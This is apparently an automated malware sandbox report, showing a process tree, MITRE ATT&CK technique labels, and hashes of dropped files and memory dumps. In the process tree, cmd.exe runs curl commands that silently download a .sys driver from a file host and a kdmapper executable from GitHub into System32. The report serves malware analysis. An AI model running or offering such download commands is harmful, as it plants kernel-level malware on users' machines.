        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5728,i,16492200285416301531,8027288578855583477,524288 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=6364 /prefetch:8
        5⤵
        
        PID:5088
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5744,i,31017939384838325,10403385580888388041,262144 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=6324 /prefetch:8
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2120
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5820,i,8118726863928290292,1861511554253983304,524288 --field-trial-handle=2256,i,3041586641072522649,5979621332380029029,262144 --variations-seed-version --mojo-platform-channel-handle=2984 /prefetch:8
        5⤵
        
        PID:4604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/pp50f2.sys --output C:\Windows\System32\hobo.sys >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3148
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/pp50f2.sys --output C:\Windows\System32\hobo.sys
    3⤵
    PID:1652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5384
- - C:\Windows\system32\curl.exe
    curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe
    3⤵
    PID:5016

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5176

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4232

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

data.txt

Path C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1265531791\data.txt
Size 146KB
SHA256 ca6b9158b966a4245500d5ba10ea6e123b65f82a4cac4e207cdc21a96406114b
MD5 e28f6cc38e9dfcbb14a5d49174b0e6e5
SHA1 e2f3ee57ee5d91232ac5d1b934c865d8a2a2676b
SHA512 3dd75928b8f59a28fa4ddad1aa08e261318ec4e35a9db9af28b3a5ce09097128088dbfc8946b35d80ce293cdc431a9c27b6ffa8e2dd166ed48f4beb7a9892fd8
SSDEEP 3072:UPAgDcCHaLHl65aynyosxb3+B1xh0OrlwYEFq5IDI45/y:4X1aI5aZoKzMJ07NcQI456
TLSH
T1E2E3F115CEC41FDDDEA8261850BE0F1E53D0835E442B6AC9E763BD497F9BA04863B1C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping3944_1265531791\manifest.json
Size 53B
SHA256 76daf0ebbaf97179fc4ab99dd6cace2b80ede8e39dd50c153e97e6649f6f5773
MD5 58aa82c06223ecd1156ff2fb420bd991
SHA1 8c8b8bb475ab624cf0a2fa4eb88f7053e0992423
SHA512 4e96250fa556ab86538518843cd0455f9df2af58174219b17cc7d64871d5305e011896b454406492b5c5eef6e905e7967fe68c612ae16ab91a47d4fa71081f54
TLSH
T1389002704424951716C20E5065B0B8819391661995854D1E0445155D039546CE050298
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping3944_595213482\manifest.json
Size 117B
SHA256 1249e6113fdeebcd2284a0e72cb188d8624e06b03a142f8b4c4f49886b0e95ec
MD5 edc953067dfcc7f2c4f36f3dba9a2f6f
SHA1 900442b6d8dc98a2a3acf3ad372f6ba7172c0f7f
SHA512 a48cad8c35e60faf733c3a6b1ea065eb7e280a741bffaad2ee59f127a3a7759d3aaed15b64aeb41befbd168bed3b114cc1e85a320e9a614ab44c4c6cde95a3c9
TLSH
T13AB092B00C1AA43B26809320ECA0A68683F80218E8021B1E08803A481F8867880363F2
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 8da58a9b03c676d64167caf3657c5315a0b78038e3ae23bfef432a40d8d22290
MD5 81f1d957977f2d73471366011b7128bf
SHA1 c3403bfa34ee45b494966cf8be9bed08da2c5168
SHA512 171afd7f20b750bc0bdc1fc9fd4cf14984e63031e562c60a7b1bab3112c84572ebc63669b744e0e5399b2f5453039fb86937cf7ab417a72da7f1ad931c88f0c5
TLSH
T152D012B62A4A7010F2694A31B456CB00776D15A12852A705E26D945C99A90A566C62C6
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 9300dc4b11c647d4484e20f994dffbbd9939379d590fc7dedf9875372c431ce1
MD5 b031933009b03b3dcfc6f363760f83dd
SHA1 a9d3126d19c73dafd7e12a688bb3a802627790ee
SHA512 f606a12a9a0879bb3f7d6c9bcb6e3754434b9f0d8f1d351e8104aef087c326f689af5174eddcb6a3cd1f1d07864ff544fc76e73f8b76bf6d4330e19666cb7b28
TLSH
T18FD012BA2A4E7010F26D4A31B416CB00776D15A12852A705E22D944C99A90A562C62C6
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 6c8dd6eebe14951729aeb5280367772d9b498379e3a44c0cdb4bf59a3c2be290
MD5 8ddfef91a39f6363fdd8670b8b1a9e44
SHA1 d0a0b56a5b687f90bf44cd135bd1513a0b4565b5
SHA512 0ae3b93f14a613c87a479dc2869e3bd26a9c05afdfc779cbc323f69833544bd120a049599a3f2578cae6ab8753127ee0e536f01262fb1720c9cbfc04a1fc4929
TLSH
T14FF028B6C821EC3718FD0B69746D8B4AE75013272B81889F3B3C930C8FB463B868595C
MD5 SHA1 SHA512 TLSH

Submit Download

f_00009d

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00009d
Size 1024KB
SHA256 6bc0e49507df75845a01a38783576a6b3d1bf32998cc2ba490ffa1bb9d95c29e
MD5 40c9be1c5ce231ef3e73294b4ba2cb17
SHA1 006d73b64a333773232ec3785425beae42282cd2
SHA512 bf37975c29bc50b0352fb215e3334b08286fb80c0c35ee802affe7240ef88fecd27cccaf777d6783f6315204215459851ced611f9427fcbe0971a16eff3c21e3
SSDEEP 24576:4G4Wx3jbhd4+3rYBwbbezSe1u4aIfk6rpX:igjbhzXbo31iI7h
TLSH
T1DF25F149F3610867CCB147B1A5CB0B163278CA4877D3138BB198BBB83D9675A4F70AE5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 766584c8943d7e5b365b91125f4a7660b088d7bbfb971f6f48964e6de5267f5b
MD5 b32a552f0d5d25bca204e0915a830369
SHA1 510868f9c6b49a44090f7491790198aef5f25267
SHA512 cbe2575459660744784ceb5e5799f2f7c66991b4f4263c16a446563db957104f377d5ed4bf1281fbf33ff1a7851e27d4f4dc5d8fe400691c222244fce4992d51
TLSH
T14061C4F985BA2551EBDD02F887C93B38B3300BC8F4C39E8A4E84673568B1F709C21521
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58f170.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58f170.TMP
Size 2KB
SHA256 1d6c292f8e0173b79f9d7bfa488684df38883f696c46535adabc6b62c290d6eb
MD5 e793aca6c6b9b8705822c371c400b4dc
SHA1 cffe49d1259535b8489e8f1dee737d885de945c5
SHA512 ce221af3f974a563cbca193f525abbf8aee5b8f4339c55358381f928661cc05896c191fe77a25bdd14da4298694b2f5b14e527328d69e87f3a5729418ce526f4
TLSH
T184512DF995B91261EBED01FC9BD13B34B37017D8F9D31D854E8467756830B354D21A02
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 5KB
SHA256 487d81396c49a8c5f4fcfc0aae39eed63ddd11fc05699ac974aa5580a42ad7e3
MD5 d5503126a760e5e97dfbaec65cd2b776
SHA1 602fa9d042bd9cf678ebd709d8a2e93a57120d91
SHA512 ff06c32c2f8d44309e9f4156affaf215bc07bc38f7d8f2f2e04c0f5dbd87b57d7d8ccde31290018dbd51b37b99818e3f6f759e532fbe413483c18d7ade4f8dc1
SSDEEP 96:D/O14cubmYs1aij6cUz+cLPULekLBEeop/XfhwtrK9nx:DW14cubmYs1aij6tacLMLzLCj9PhoK1x
TLSH
T14AB19DF3C3E9869DD91156F0EB187E2BCE1D0518432C3D0AC5E4AF1BA7E2471D151A6E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

e5669782-4491-4ccf-bf7f-465973d0d5c4.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\e5669782-4491-4ccf-bf7f-465973d0d5c4.tmp
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 a48734816f8433b0b39879c912bd0542298edbf1d60b7c69bd89d298b5a38cb6
MD5 23fb145e2730cacad0c439a31cc49cfe
SHA1 71e664422a239fb921f766515d82ba8686251aa9
SHA512 fa0b9e27f88e88945e6060fc4ec334cdd835ad00dc04de997482e5b340decec54c92845b919b772aeea8afb435be87a2365011e2cacac1cd34712e0c8459a8ba
SSDEEP 192:sxZ2RSyMqZjK1Ml8MjA/fws/CzaZdIaRuvEzodpn+HW6+WNW+S/z7v+CpCQIg5yf:sxZ2f7A/fwsqzazIKY3+Hb+/7D0f
TLSH
T1DC72E906AA3459B78CD7D219FA45BB53D7F9016292905E486AFC9B0C04E7BEC221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 97a0902bd35deecc1968414d2e412e3736bb4defb8854bafb7f5bfd119c2b639
MD5 058c071e326338e955fb1307bb7b0ad0
SHA1 28f3c132d297a99e5b99b97ab8e5feb304a81b9e
SHA512 5c509e8b778e34169dd7b7db2c3c1301f08d2b7b69a5e657357df92f255e2dd9b0efa913f94e9c11efbc254b39e1ebd0888cd0c1862c21c60baeeb9277c4b17e
SSDEEP 192:sxZ2RSyMqZjK1Ml8MiA/fwss8CzaZdIaRuvEzodpn+HW6+WNW+S/z7v+C+CQIgjf:sxZ2fqA/fwssvzazIKY3+Hb+/IDjf
TLSH
T16A62E906AA24997B8DD7D219FA457B53D7F8116392904E485AFCDB0C04E7BEC221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 16KB
SHA256 4bdc76c08d871a270e593aea929f0115fd8e9cf2121442e1dc8cf28e950f9d24
MD5 f0cc084c2744ad5fc3df64daf0499da2
SHA1 b85108d0a5def0e0b0382fed87d01f3c5ea93eb1
SHA512 d6643cdd9a8420b04a65ebbf3d329d971eb8f8907bce02e0f8bf90272f0b487bdad80a3f983146152679da074bcfd6e68ff8a6135c499dea581f346626281870
SSDEEP 192:sxZ2RSyMqZjK1Ml8UQXjA/fws/CMZdIaRuvEzodpn+HW6+WNW+S/z7vnpCQIg5Oo:sxZ2fqzA/fwsqMzIKY3+Hb+/RDQC
TLSH
T1FB72E906AA349D778CD7D219FA45BB53D7F8116292944E486AFC9F0C04E7BEC620782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 35KB
SHA256 2f5c1a3320147f642fc9ff45e6860b3f606bc683e54646a76b7eb9184f470b1c
MD5 f09e8b71390a4fa77078f203bcd6c3ff
SHA1 de64a203e31c34ece3f7eb26d6c7dd28fd903230
SHA512 94a1a785bdd33722d6e5954e8354f7f20221ac3e712da3849ce391de8a3763e610d8223aac5db746197c44d05044339dbec9c3104ab09f3ec6395234aaef3b6d
SSDEEP 768:ZYsv8OdF6ssi7pLuLnFhWvFvQX8F1+UoAYDCx9Tuqh0VfUC9xbog/OV6ysy10Lli:eY8Od/HEnFhWvFvQXu1jait10Lm2Nuo0
TLSH
T1D6F2FB3B6C0CCB7E4F844E9CED2A7F8A6DE802CB5698895447FA844C02C76EB15175DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 8e5d879785ad74bf529240ac79a41e69f4daee5570ef338012a3b48df1eb918e
MD5 f4bcd6c9c6a287f9404dec2ef8c07c69
SHA1 705dd857ee2d3371dd419810cfe8d61cdea631ca
SHA512 f3d3b4f218566fff86521be602af412c48e6eb9d8a087e909136deaf7a45482f6941b2091642b2d959d64b545c1e08a9cc3bd4376db3b19c6a9b42c1586f328f
SSDEEP 96:Ko7iKcsW23iKoM7LKKc026WEKjKkAAK9Gq+xGKqkJ7yKkc++dmKWI94gK966GbGj:05ppxnY753RNBvRJJdt7p5J9fvXT
TLSH
T1DFB27A5A713E0212397E2948B39696364F4235A33058E4BF7FB814A14F67E225CFD8ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 8c093433dadc6057c13164d61684ef2705feceda6526a8c11a640a6fa6f28390
MD5 56e532d522e1239f95f290264de56436
SHA1 52eaa8a53580eb798c8b0b0a6cade6ec77fd7565
SHA512 323e5cb672110f357c30da7e2c1f9326783823935574735ffb076e04dafcb22735ca96ccd372d7f591224b1c40b2586c779093550c581b41bb8d1d281dbb1874
SSDEEP 384:nSiF1tNnNnb9HsNM8TUNTUlI4mQckCryzephifGGb/4w9VokEL5mHWKEQYELUDWA:ZF1jZb9RwgzkxAFGb/X2k7HWHQYEoL
TLSH
T182D26B36E868DEB7ADE74F95A70A3617AEF4425389CC6AD4D9CC2E0D00D719D130BC1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 cdbb216ac8dcef31a62995ebb742857b682cde37d7772b08b4059824863409c0
MD5 10e5cfabb35cd1fac020d69038da43a2
SHA1 0085de9bd594ddeceacdf7f99ec480f92d7c8a1e
SHA512 1ee9e89c44dd87cf659816d0da7a6cc4ff09a82c2ffb507c81ba141845ff908af0fada7008be2c191f5b83e8d3ca4f694cf211d85bd069f30842a3b912ce82a1
SSDEEP 384:npdiF9CcmyWCs3sNC8TUNTUlIm2QckCr9lTKphifGGb/4w9VobupdEe4KV8p0TH1:pUFccps3PwgbkUJkFGb/X2b9I8p0j1
TLSH
T19DB26C36EC58CEBBEDE74F89B70A7A07DEE01227859C59E4DAD85E0D109719C130B826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 5141772d04766dfa4900149bdf780ee4dafe44204658e3160a05b897fba5e764
MD5 75456273d3d8fee59af34f6ff128d1bb
SHA1 db746a16f6168564736d78aa6bd4ff1b18f4052f
SHA512 5cfd0592e88fe19e0fa1fc1b4ea129434644d44f4c1ca59107fa6db99ec0d15da44a5991bba2e6763919969d5bf0e3aa41ac3aa5a7592161979b7d0663aabb8a
SSDEEP 384:nuiF1tNnNnb9vmsNM8TUNTUlI4mQckCryzephifGGb/4w9VokEL594HWKEQYELUD:FF1jZb4RwgzkxAFGb/X2k7HWHQYEoL
TLSH
T118D25B37E864DEB7ADE74F85A70A3617AEF442538ACC6AD4D9CC2E0D00D719D530B81A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 b8da59fdc55fdd928897ba82e4156631318a4d57fe5b5f6825925dcf1ce41495
MD5 803a43ea57e59ad60cdbfdf1f4e2e42a
SHA1 b86c8ff2613a56a23934fc088cc2a10560514191
SHA512 6248887afa25f712ed3c22bf043923f853acdbc5220da39e128e37689a9a7ecb017753eb11fcaa32251b08329fe031b38b750959b155e465ad229a7845b6a14b
SSDEEP 384:np7iF1tNnNnb9HsNM8TUNTUlI4mQckCrnzephifGGb/4w9VokEL5QHWKEQYELUDn:pWF1jZb9RwgzkaAFGb/X2kfHWHQYEoL
TLSH
T16DD25B36E864CEB7ADE74F95A70A3657AFF4426389CC6AD4D9CC2E0D00D719D130B81A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

typosquatting_list.pb

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Typosquatting\2026.6.4.1\typosquatting_list.pb
Size 555KB
SHA256 a2c4864e010b437f2fc6e371c334b6b37ae3d99366d7586b8b93d3f84c264c3e
MD5 68e42e75d67c5477efd5afd81fcf5f4a
SHA1 4e79846eb347a76c98f31a5c00ebec96b61bf069
SHA512 fa9cf5a456c7f25fe35df270b7610a1d4c87ee2aa2aec8a99610002e04a8a1add7f7489bddef7a117948467f541c4df56ffc676f5df548c2a60bae0cd220feb1
SSDEEP 3072:s04GzK1JtjtczmMtOQvGz1XVK3RqkkGZD9zTiZJil1CN75QG4lsx049WRAOGQxDF:yGKJtjtKRG6qxciXtN7OlsxXU6sVKhds
TLSH
T169C4C5B9DFC00194DB78112D20BE71D8181412A580E9DFEAFE7D855F2BC2AC977E85E8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 a6187938f08a9b348d3287d1062b2d2f0912e2a57425a9c1579157a5c92229e5
MD5 202e834b5b0dac873bb5bfb47fec3fac
SHA1 387bf3fce31f9970dddbb24bfc40404957c58df0
SHA512 c354762f75f6efb6ff6aea80b03b0616bfd8cdd7cb5bc48add75b31582a2f2a97a11684688d3d292404420b80ee1943440c2a0f6bbcd72da6345a57225aaf8b2
TLSH
T1114150E11D385AD1C4BD0E6EB48B34FC81D8D625F2E070796858EA84063C94E608183F
MD5 SHA1 SHA512 TLSH

Submit Download

d766e75ceffe993aa1dadd5619b24043a0ebe9a9689a6796d19d88bf952683d4

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\d766e75ceffe993aa1dadd5619b24043a0ebe9a9689a6796d19d88bf952683d4
Size 147KB
SHA256 d766e75ceffe993aa1dadd5619b24043a0ebe9a9689a6796d19d88bf952683d4
MD5 a9f7675ff091bb15c88909424bab4a39
SHA1 90f753d8d7e4397de0f49631fcd9222a7f59148c
SHA512 ff1f89fb04ae9c9a4c6cf6b1475f5a77f1c4f90829acda95cb39889b6b15c3b4f0b3b822a668f8ec8520b002cc90dd397cc26d314ac8fd5f3e2c9826bd458df5
SSDEEP 3072:Ph3iICVe1DvTtr/3tOpPu8LdKBTJyU4AshzWnD7UVDvuZE4tkGL:PgTVWvTZPghwln0AD7UV8Eeky
TLSH
T12BE3E01D29E2846EC82B24F4BA4A718FC71ECF07910BE40F25D984A55C7474E17E2EED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 132B
SHA256 d6bb12722d8ec159af735b3270f83013e8b8e2df54df596eac54c458b11d445e
MD5 e6d52bbc2ba6378f83c8e079c3b58d30
SHA1 2768e8f09a3d414aaa25fb104cffb69e02b8198f
SHA512 40af0fc8008a9d3194c4718b4d0a75793b652b2ee28798bc85f27b90ee46c59025f8d0c8abeea9ff371c756962db066f2f00cee485b203e688a9ee8f2e48648d
TLSH
T171C02B8F243E4DCC4E4A02399048032B8FD07518302402388C0BCA00003DB0E5F4405F
MD5 SHA1 SHA512 TLSH

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 4f58a4066898338758b2997ff91339f3dd37e6363b22d2bdd78b715dfcef395f
MD5 019f0ddf11991ebb0a9f0f982c0d9ecf
SHA1 f9bfed2548b825b7736437e6b02df5f8fb8435c4
SHA512 9c2d5c0b9f499664554e96cc5eecf80dda961f5f4900739ee1e952d8f28b3eb4f4f2f19191ba7c60439731ed7f83a1ba7ef6b1f17cd275c4c3447d7dbe75ff71
TLSH
T19B41165CAAFE1148B3B76F1AAFF6B86D447A7D272E56949D00110E4E0627A00C871B37
MD5 SHA1 SHA512 TLSH

Submit Download

BK141402.exe

Path C:\Users\Admin\AppData\Local\Temp\BK141402.exe
Size 67KB
SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
MD5 32b268f7114cd6816d3b1c0558e88f95
SHA1 1d0caf4582173eb45e0be05134ed432a21f5af55
SHA512 9b453ea4ac1ec6f216629ca16654e78f02fb61af8158eb3153e3fbecaae8e78b50c53242c4e76a93d59f3f3150392805a18892b103cd689d6814c7984b5e866b
SSDEEP 768:d8w6iBGb+IyfJoTOBPca/CCNNl1uHBNdXIBMEB44w7Fv6NDzSkzNT2L:PIyfiTOpZNiMMuw7Z6NDzPNTI
TLSH
T18363E735C9A9B13FD3199C78DE060D84DF62BC8A4784BF97A7D11CE60F92A902F1D681
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_ndafd0em.1cd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ndafd0em.1cd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3204-0-0x000001C999EC0000-0x000001C999ED0000-memory.dmp

Download

memory/3204-2-0x000001C9B50F0000-0x000001C9B5112000-memory.dmp

Download

memory/3204-178-0x000001C999EC0000-0x000001C999ED0000-memory.dmp

Download

memory/3204-1-0x000001C999EC0000-0x000001C999ED0000-memory.dmp

Download